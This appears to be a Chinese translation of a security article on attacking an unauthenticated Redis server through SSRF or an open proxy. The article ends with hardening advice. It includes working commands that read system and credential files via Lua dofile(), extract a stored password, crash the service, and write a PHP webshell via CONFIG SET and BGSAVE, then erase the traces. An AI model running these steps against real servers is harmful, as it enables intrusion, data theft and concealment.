文章是翻译过来的,翻译过程中做了一些修改,添加了些东西。有兴趣的直接可以看原文,原文的链接接在文章的最底部。
我们假设存在一个SSRF漏洞或者配置不当的代理服务器,使攻击者可以通过HTTP请求直接访问Redis服务。
在上面假设的两种情况中,要求我们 对于HTTP的访问请求至少有一行是完全可控的,这种完全可控是很容易实现的。
但是,命令行的客户端(redis-cli)是不支持HTTP代理的,而且 我们需要构造出自己的命令。
这些构造好的语句,封装在HTTP请求中,通过代理进行发送。
以下所有的测试都是在redis 2.6.0版本中,虽然不是最新版,但是我们的要攻击的目标使用的就是这个版本......
Redis是一个NoSQL的数据库(NoSQl泛指非关系型的数据库,常用的mysql是关系型数据库),数据通过键/值对存储在内存中。默认配 置中,在服务运行的时候,会开放一个没有验证的TCP/6379端口,提供的这个接口是很“宽容”。它会尝试去解析处理每一次输入(直到超时或者输 入’QUIT’命令退出),对于那些不存在的命令,则会显示像"-ERR unknown command"这样的输出。
当我们利用SSRF漏洞或者配置不当的代理服务器进行进一步渗透时,第一步通常是扫描已知的服务。作为一个攻击者,得知这个服务只在本地回环接口上进行了端口监听,使用了基于来源的验证或者认为这种保护方式风险很小,因为这个是外部不能访问的。
在测试过程中,看到以下日志会令人亢奋:
-ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:'
正如你所看到的,这个输出证明了HTTP的GET请求方法,在redis中作为一个有效的命令执行了,但是没有给这个命令提供正确的参数。其他的HTTP请求的没有匹配到Redis命令,出现了很多”unknown command”的错误信息。
在上面构造的场景中,发出去的HTTP请求是几乎完全可控的,同时请求是通过Squid代理发送的。
这包含以下两个方面
1)构造的HTTP请求必须是有效的,这样才能通过squid代理去处理请求
2)到达Redis数据库的请求,是通过代理发送的
更简单的方法是使用POST来提交数据,但是注入HTTP头部的也是一个不错的选择。现在,来输入一些基础的命令(蓝色标记的是输入的命令)
ECHO HELLO $5 HELLO TIME *2 $10 1410273409 $6 380112 CONFIG GET pidfile *2 $7 pidfile $18 /var/run/redis.pid SET my_key my_value +OK GET my_key $8 my_value QUIT +OK
正如你所注意到的,服务器会返回特定的数据,再加上像”*2”或者”$7”这种的字符,这是根据Redis协议对二进制数据安全的规定返回的数据,如果你要使用包含空格的参数,则必须使用这个规则。
例如,命令SET设置key 为“foo bar”无论是否使用单双引号,都是不会成功的。幸运的是,Redis协议关于二进制安全的一些规定是很简单的:
--每一行都要使用分隔符(CRLF) --一条命令用”*”开始,同时用数字作为参数,需要分隔符(“*1”+ CRLF) --我们有多个参数时: -字符:以”$”开头+字符的长度("$4"+CRLF)+字符串(“TIME”+CRLF) -整数:以”:”开头+整数的ASCII码(“:42”+CRLF)
以上就是所有规则
举一个例子:
对于设置”I am boring”的key为”with_space”,使用redis-cli的设置很简单,一眼就能看懂
$ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'+OK
接下来我们套用规则来设置这条命令
*3是set命令的代表
然后根据多个参数时的字符串表达式来构造set with_space I am boring这个命令,上面这条命令等价与后面的这条命令
$ echo -e '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379 +OK
经过前面的铺垫,我们可以很好的和服务器进行交互获取我们想要的信息。Redis的一些命令是很有用的,例如”INFO”和”CONFIG GET (dir|dbfilename|logfile|pidfile)"。这里就把测试机器上的执行"INFO"的输出贴出来
# Server redis_version:2.6.0 redis_git_sha1:00000000 redis_git_dirty:0 redis_mode:standalone os:Linux 3.2.0-61-generic-pae i686 arch_bits:32 multiplexing_api:epoll gcc_version:4.6.3 process_id:19114 run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25 tcp_port:6379 uptime_in_seconds:9806 uptime_in_days:0 lru_clock:518932 # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:1 blocked_clients:0 # Memory used_memory:661768 [...]
下一步当然是进军文件系统,Redis可以执行Lua脚本(在沙箱中)通过”EVAL”命令。沙箱允许dofile()命令。这条命令能够查看文件 和列目录。因为Redis没有特殊的权限,所以请求/etc/shadow时会显示一个”permission denied”的错误信息(与运行redis服务的用户的权限有关)
EVAL “ return dofile('/etc/passwd')” 0 -ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':' EVAL “return dofile('/etc/shadow')” 0 -ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied EVAL “return dofile('/var/www/') ” 0 -ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory EVAL “return dofile('/var/www/tmp_upload/') ”0 -ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory EVAL “return dofile('/home/ubuntu/.bashrc')” 0 -ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'
如果Lua脚本有语法错误或者尝试设置全局变量时,会产生报错信息,可以获得一些我们想要的信息
EVAL “return dofile('/etc/issue')” 0 -ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4' EVAL “return dofile('/etc/lsb-release')” 0 -ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu' EVAL “return dofile('/etc/hosts')” 0 -ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'
还有一种情况,但是并不是很常见,就是调用dofile()这个函数去处理有效的Lua文件,然后返回提前定义好的值,假设这里有一个文件/var/data/app/db.conf
db = { login = 'john.doe', passwd = 'Uber31337', }
通过Lua脚本得到passwd的值
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 +OK Uber31337
这个也可以获取Unix标准文件的一些信息:
EVAL “dofile('/etc/environment');return(PATH);” 0 +OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0 +OK /usr/bin/nano
Redis提供一个redis.sha1hex()函数,可以被Lua脚本调用,所以还可以通过Redis服务器进行SHA-1的破解,相关代码在 adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相关原理的描述在
(http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要翻墙访问)
这里有很多Dos Redis的方法,例如通过调用shutdown这个命令删除数据。
这里有更加有趣的两个例子:
1)在Redis的控制端,调用dofile()不加任何参数,将会从标准输入读取数据,并把读取的数据认为是Lua脚本。这个时候服务器依旧在运行,但是不会去处理新的连接,直到在控制端读取到”^D”(或者重启)。
2)Sha1hex()函数可以被覆盖(在任何一个客户端都可以实现这个效果)。下面展示一个返回固定值的sha1hex()函数
Lua脚本:
print(redis.sha1hex('secret')) function redis.sha1hex (x) print('4242424242424242424242424242424242424242') end print(redis.sha1hex('secret'))
在Redis的控制端上
# First run e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 4242424242424242424242424242424242424242 # Next runs 4242424242424242424242424242424242424242 4242424242424242424242424242424242424242
如果Redis服务器存储一些有趣的数据(像session cookie或商业数据),你可以通过get枚举键值,获取数据。
Lua使用完全可以预测的”随机数”,细节在scripting.c的evalGenericCommand()函数中
/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */redisSrand48(0);
每一次Lua脚本调用math.random()函数产生的随机数都是相同数字流:
0.17082803611217 0.74990198051087 0.09637165539729 0.87046522734243 0.57730350670279 [...]
为了在开放的Redis服务器上进行命令执行,有以下三种情况:
首先能够修改底层的字节码,能够进行虚拟机的逃逸。(Lua的一个例子https://gist.github.com/corsix/6575486);或者是绕过全局保护并且试图访问一些有趣的函数。
绕过全局保护是很轻松的(stackoverflow上有一个例子
http://stackoverflow.com/questions/19997647/script-attempted-to- create-global-variable)。然而这么有趣的模块并不能加载,顺便提一下,在这里还有很多有趣的东西(http://lua- users.org/wiki/SandBoxes)。
第三种情况相对来说比较容易实现,将一个半控制的文件导出到硬盘中,在web的根目录中,通过备份得到一个webshell或者覆盖一个shell 脚本。唯一的区别是文件名和payload,导出的方法都是一样的,但是应该注意的是保存日志文件的位置在启动之后是不能修改的。事实上,这个数据库中的 内容会隔一段时间备份到硬盘的,以便于数据恢复,何时备份取决于配置文件或者BGSAVE命令
以下是常用的几条命令:
-修改备份文件的位置
CONFIG SET dir /var/www/uploads CONFIG SET dbfilename sh.php
-把payload插入数据库
SET payload “could be php or shell or whatever”
-把数据导出到硬盘
BGSAVE
-清除痕迹
DEL payload CONFIG SET dir /var/redis CONFIG SET dbfilename dump.rdb
然而,这里存在一个致命的问题,Redis对dump出来的数据设置的是”0600”权限,因此Apache不能读取。(作者是这么写的,元芳你怎么看?)
Redis默认是运行在TCP的6379端口上的,需要进行端口扫描.确定端口是否开放。
同时,Python中有redis这个模块,可以编写脚本调用端口扫描后的结果,对Redis服务是否可以直接访问,进行快速判断。
在配置文件中:
配置port,修改端口号。 配置bind选项,限定可以连接Redis服务器的IP。 配置requirepass选项,设置密码。 配置rename-command CONFIG "",禁用一些命令。
源文章:
http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
参考:
Redis protocol:http://redis.io/topics/protocol
Redis 命令参考:http://redis.readthedocs.org/en/latest/